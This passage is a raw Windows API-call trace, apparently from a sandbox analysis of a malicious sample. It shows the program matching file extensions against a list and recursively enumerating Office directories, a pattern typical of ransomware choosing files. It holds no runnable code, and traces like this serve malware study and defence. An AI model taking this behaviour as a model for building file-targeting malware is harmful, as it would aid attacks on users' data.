lpString2="WMF") returned -1 [0037.109] lstrlenW (lpString=".pls") returned 4 [0037.109] lstrcmpiW (lpString1=".pls", lpString2=".WMF") returned -1 [0037.109] lstrlenW (lpString=".pm") returned 3 [0037.109] lstrcmpiW (lpString1=".pm", lpString2="WMF") returned -1 [0037.109] lstrlenW (lpString=".png") returned 4 [0037.109] lstrcmpiW (lpString1=".png", lpString2=".WMF") returned -1 [0037.109] lstrlenW (lpString=".pnm") returned 4 [0037.109] lstrcmpiW (lpString1=".pnm", lpString2=".WMF") returned -1 [0037.109] lstrlenW (lpString=".pot") returned 4 [0037.109] lstrcmpiW (lpString1=".pot", lpString2=".WMF") returned -1 [0037.109] lstrlenW (lpString=".potm") returned 5 [0037.109] lstrcmpiW (lpString1=".potm", lpString2="_.WMF") returned -1 [0037.109] lstrlenW (lpString=".potx") returned 5 [0037.109] lstrcmpiW (lpString1=".potx", lpString2="_.WMF") returned -1 [0037.110] lstrlenW (lpString=".ppa") returned 4 [0037.110] lstrcmpiW (lpString1=".ppa", lpString2=".WMF") returned -1 [0037.110] lstrlenW (lpString=".ppam") returned 5 [0037.110] lstrcmpiW (lpString1=".ppam", lpString2="_.WMF") returned -1 [0037.110] lstrlenW (lpString=".ppm") returned 4 [0037.110] lstrcmpiW (lpString1=".ppm", lpString2=".WMF") returned -1 [0037.110] lstrlenW (lpString=".pps") returned 4 [0037.110] lstrcmpiW (lpString1=".pps", lpString2=".WMF") returned -1 [0037.110] lstrlenW (lpString=".ppsm") returned 5 [0037.110] lstrcmpiW (lpString1=".ppsm", lpString2="_.WMF") returned -1 [0037.110] lstrlenW (lpString=".ppt") returned 4 [0037.110] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0037.110] lstrlenW (lpString=".pptm") returned 5 [0037.110] lstrcmpiW (lpString1=".pptm", lpString2="_.WMF") returned -1 [0037.110] lstrlenW (lpString=".pptx") returned 5 [0037.110] lstrcmpiW (lpString1=".pptx", lpString2="_.WMF") returned -1 [0037.110] lstrlenW (lpString=".prn") returned 4 [0037.110] lstrcmpiW (lpString1=".prn", lpString2=".WMF") returned -1 [0037.110] lstrlenW (lpString=".ps") returned 3 [0037.110] lstrcmpiW (lpString1=".ps", lpString2="WMF") returned -1 [0037.110] lstrlenW (lpString=".psb") returned 4 [0037.110] lstrcmpiW (lpString1=".psb", lpString2=".WMF") returned -1 [0037.110] lstrlenW (lpString=".psd") returned 4 [0037.110] lstrcmpiW (lpString1=".psd", lpString2=".WMF") returned -1 [0037.110] lstrlenW (lpString=".pst") returned 4 [0037.110] lstrcmpiW (lpString1=".pst", lpString2=".WMF") returned -1 [0037.110] lstrlenW (lpString=".ptx") returned 4 [0037.110] lstrcmpiW (lpString1=".ptx", lpString2=".WMF") returned -1 [0037.110] lstrlenW (lpString=".pub") returned 4 [0037.110] lstrcmpiW (lpString1=".pub", lpString2=".WMF") returned -1 [0037.110] lstrlenW (lpString=".pwm") returned 4 [0037.110] lstrcmpiW (lpString1=".pwm", lpString2=".WMF") returned -1 [0037.110] lstrlenW (lpString=".pxr") returned 4 [0037.110] lstrcmpiW (lpString1=".pxr", lpString2=".WMF") returned -1 [0037.110] lstrlenW (lpString=".py") returned 3 [0037.110] lstrcmpiW (lpString1=".py", lpString2="WMF") returned -1 [0037.111] lstrlenW (lpString=".qt") returned 3 [0037.111] lstrcmpiW (lpString1=".qt", lpString2="WMF") returned -1 [0037.111] lstrlenW (lpString=".r3d") returned 4 [0037.111] lstrcmpiW (lpString1=".r3d", lpString2=".WMF") returned -1 [0037.111] lstrlenW (lpString=".raf") returned 4 [0037.111] lstrcmpiW (lpString1=".raf", lpString2=".WMF") returned -1 [0037.111] lstrlenW (lpString=".rar") returned 4 [0037.111] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0037.111] lstrlenW (lpString=".raw") returned 4 [0037.111] lstrcmpiW (lpString1=".raw", lpString2=".WMF") returned -1 [0040.145] FindNextFileW (in: hFindFile=0x3ec0370, lpFindFileData=0x351ee18 | out: lpFindFileData=0x351ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd3f79f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd6cb410, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd6cb410, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0040.145] FindNextFileW (in: hFindFile=0x3ec0370, lpFindFileData=0x351ee18 | out: lpFindFileData=0x351ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8cac600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd3f79f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc8cac600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x75c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe.css", cAlternateFileName="")) returned 1 [0040.146] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x3f61890 [0040.146] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Americana\\*", lpFindFileData=0x351eb9c | out: lpFindFileData=0x351eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd4b60d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd4b60d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd4b60d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ec03b0 [0040.146] FindNextFileW (in: hFindFile=0x3ec03b0, lpFindFileData=0x351eb9c | out: lpFindFileData=0x351eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd4b60d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd4b60d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd4b60d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0040.146] FindNextFileW (in: hFindFile=0x3ec03b0, lpFindFileData=0x351eb9c | out: lpFindFileData=0x351eb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8cac600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd4b60d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc8cac600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x155, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_OFF.GIF", cAlternateFileName="")) returned 1 [0041.295] FindNextFileW (in: hFindFile=0x3ec0270, lpFindFileData=0x351ee18 | out: lpFindFileData=0x351ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x52a72f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x708e7550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x708e7550, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0041.295] FindNextFileW (in: hFindFile=0x3ec0270, lpFindFileData=0x351ee18 | out: lpFindFileData=0x351ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d003d00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x604d91d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d003d00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x6bd4, dwReserved0=0x0, dwReserved1=0x0, cFileName="COUGH.WAV", cAlternateFileName="")) returned 1 [0041.295] FindClose (in: hFindFile=0x3ec0270 | out: hFindFile=0x3ec0270) returned 1 [0041.295] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3fb18a0 | out: hHeap=0x4b0000) returned 1 [0041.295] FindNextFileW (in: hFindFile=0x3ec0370, lpFindFileData=0x351f094 | out: lpFindFileData=0x351f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51b925d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d547830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d547830, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Places", cAlternateFileName="")) returned 1 [0041.296] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x3fb18a0 [0041.296] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Places\\*", lpFindFileData=0x351ee18 | out: lpFindFileData=0x351ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51b925d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d547830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d547830, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ec02b0 [0041.298] FindNextFileW (in: hFindFile=0x3ec02b0, lpFindFileData=0x351ee18 | out: lpFindFileData=0x351ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51b925d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d547830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d547830, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0041.298] FindNextFileW (in: hFindFile=0x3ec02b0, lpFindFileData=0x351ee18 | out: lpFindFileData=0x351ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d003d00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5eb686b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d003d00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x84e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ALARM.WAV", cAlternateFileName="")) returned 1 [0041.298] FindClose (in: hFindFile=0x3ec02b0 | out: hFindFile=0x3ec02b0) returned 1 [0041.299] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3fb18a0 | out: hHeap=0x4b0000) returned 1 [0041.299] FindNextFileW (in: hFindFile=0x3ec0370, lpFindFileData=0x351f094 | out: lpFindFileData=0x351f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51ce9230, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d299f70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d299f70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Things", cAlternateFileName="")) returned 1 [0041.299] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Things\\*", lpFindFileData=0x351ee18 | out: lpFindFileData=0x351ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51ce9230, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d299f70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d299f70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ec02b0 [0041.301] FindNextFileW (in: hFindFile=0x3ec02b0, lpFindFileData=0x351ee18 | out: lpFindFileData=0x351ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51ce9230, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d299f70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d299f70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0041.301] FindNextFileW (in: hFindFile=0x3ec02b0, lpFindFileData=0x351ee18 | out: lpFindFileData=0x351ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e316a00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x603362b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6e316a00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xc8fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="CAN.WAV", cAlternateFileName="")) returned 1 [0041.301] FindClose (in: hFindFile=0x3ec02b0 | out: hFindFile=0x3ec02b0) returned 1 [0041.302] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3fb18a0 | out: hHeap=0x4b0000) returned 1 [0041.302] FindNextFileW (in: hFindFile=0x3ec0370, lpFindFileData=0x351f094 | out: lpFindFileData=0x351f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51ce9230, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d299f70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d299f70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Things", cAlternateFileName="")) returned 0 [0041.302] FindClose (in: hFindFile=0x3ec0370 | out: hFindFile=0x3ec0370) returned 1 [0041.302] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3fa1898 | out: hHeap=0x4b0000) returned 1 [0041.302] FindNextFileW (in: hFindFile=0x3ec0330, lpFindFileData=0x351f310 | out: lpFindFileData=0x351f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51bb8730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x709f1ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x709f1ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ToolBMPs", cAlternateFileName="")) returned 1 [0041.302] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\*", lpFindFileData=0x351f094 | out: lpFindFileData=0x351f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51bb8730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x709f1ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x709f1ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ec0370 [0041.305] FindNextFileW (in: hFindFile=0x3ec0370, lpFindFileData=0x351f094 | out: lpFindFileData=0x351f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51bb8730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x709f1ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x709f1ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0041.306] FindNextFileW (in: hFindFile=0x3ec0370, lpFindFileData=0x351f094 | out: lpFindFileData=0x351f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7093c400, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51bb8730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7093c400, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x14c9, dwReserved0=0x0, dwReserved1=0x0, cFileName="CalendarToolIconImages.jpg", cAlternateFileName="CALEND~1.JPG")) returned 1 [0041.309] FindClose (in: hFindFile=0x3ec0370 | out: hFindFile=0x3ec0370) returned 1 [0041.309] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3fa1898 | out: hHeap=0x4b0000) returned 1 [0041.309] FindNextFileW (in: hFindFile=0x3ec0330, lpFindFileData=0x351f310 | out: lpFindFileData=0x351f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51174850, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x51174850, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x51174850, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ToolData", cAlternateFileName="")) returned 1 [0041.310] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\*", lpFindFileData=0x351f094 | out: lpFindFileData=0x351f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51174850, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x51174850, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x51174850, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ec0270 [0041.310] FindNextFileW (in: hFindFile=0x3ec0270, lpFindFileData=0x351f094 | out: lpFindFileData=0x351f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51174850, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x51174850, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x51174850, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0041.310] FindNextFileW (in: hFindFile=0x3ec0270, lpFindFileData=0x351f094 | out: lpFindFileData=0x351f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51174850, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x709f1ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x709f1ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="groove.net", cAlternateFileName="")) returned 1 [0041.310] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\*", lpFindFileData=0x351ee18 | out: lpFindFileData=0x351ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51174850, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x709f1ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x709f1ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ec0370 [0041.312] FindNextFileW (in: hFindFile=0x3ec0370, lpFindFileData=0x351ee18 | out: lpFindFileData=0x351ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51174850, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x709f1ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x709f1ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0041.312] FindNextFileW (in: hFindFile=0x3ec0370, lpFindFileData=0x351ee18 | out: lpFindFileData=0x351ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51bb8730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x61a457d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61a457d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Calendar", cAlternateFileName="")) returned 1 [0041.312] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Calendar\\*", lpFindFileData=0x351eb9c | out: lpFindFileData=0x351eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51bb8730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x61a457d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61a457d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ec02b0 [0041.314] FindNextFileW (in: hFindFile=0x3ec02b0, lpFindFileData=0x351eb9c | out: lpFindFileData=0x351eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51bb8730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x61a457d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61a457d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0041.314] FindNextFileW (in: hFindFile=0x3ec02b0, lpFindFileData=0x351eb9c | out: lpFindFileData=0x351eb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4b62000, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0x51bb8730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc4b62000, ftLastWriteTime.dwHighDateTime=0x1ca0408, nFileSizeHigh=0x0, nFileSizeLow=0x3424, dwReserved0=0x0, dwReserved1=0x0, cFileName="CalendarToolIconImages.jpg", cAlternateFileName="CALEND~1.JPG")) returned 1 [0041.314] FindClose (in: hFindFile=0x3ec02b0 | out: hFindFile=0x3ec02b0) returned 1 [0041.315] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3ee1068 | out: hHeap=0x4b0000) returned 1 [0041.315] FindNextFileW (in: hFindFile=0x3ec0370, lpFindFileData=0x351ee18 | out: lpFindFileData=0x351ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51317770, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69a5d7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69a5d7b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CommonData", cAlternateFileName="COMMON~1")) returned 1 [0041.315] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\*", lpFindFileData=0x351eb9c | out: lpFindFileData=0x351eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51317770, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69a5d7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69a5d7b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ec02b0 [0041.317] FindNextFileW (in: hFindFile=0x3ec02b0, lpFindFileData=0x351eb9c | out: lpFindFileData=0x351eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51317770, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69a5d7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69a5d7b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0041.318] FindNextFileW (in: hFindFile=0x3ec02b0, lpFindFileData=0x351eb9c | out: lpFindFileData=0x351eb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x633fe700, ftCreationTime.dwHighDateTime=0x1c95fc8, ftLastAccessTime.dwLowDateTime=0x5eb686b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x633fe700, ftLastWriteTime.dwHighDateTime=0x1c95fc8, nFileSizeHigh=0x0, nFileSizeLow=0x44c9, dwReserved0=0x0, dwReserved1=0x0, cFileName="AlertImage_Auto.jpg", cAlternateFileName="ALERTI~3.JPG")) returned 1 [0041.318] FindClose (in: hFindFile=0x3ec02b0 | out: hFindFile=0x3ec02b0) returned 1 [0041.319] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3ee1068 | out: hHeap=0x4b0000) returned 1 [0041.319] FindNextFileW (in: hFindFile=0x3ec0370, lpFindFileData=0x351ee18 | out: lpFindFileData=0x351ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51cc30d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60440c50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60440c50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Computers", cAlternateFileName="COMPUT~1")) returned 1 [0041.319] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Computers\\*", lpFindFileData=0x351eb9c | out: lpFindFileData=0x351eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51cc30d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60440c50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60440c50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ec02b0 [0041.319] FindNextFileW (in: hFindFile=0x3ec02b0, lpFindFileData=0x351eb9c | out: lpFindFileData=0x351eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51cc30d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60440c50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60440c50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0041.319] FindNextFileW (in: hFindFile=0x3ec02b0, lpFindFileData=0x351eb9c | out: lpFindFileData=0x351eb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80130d00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x60440c50, 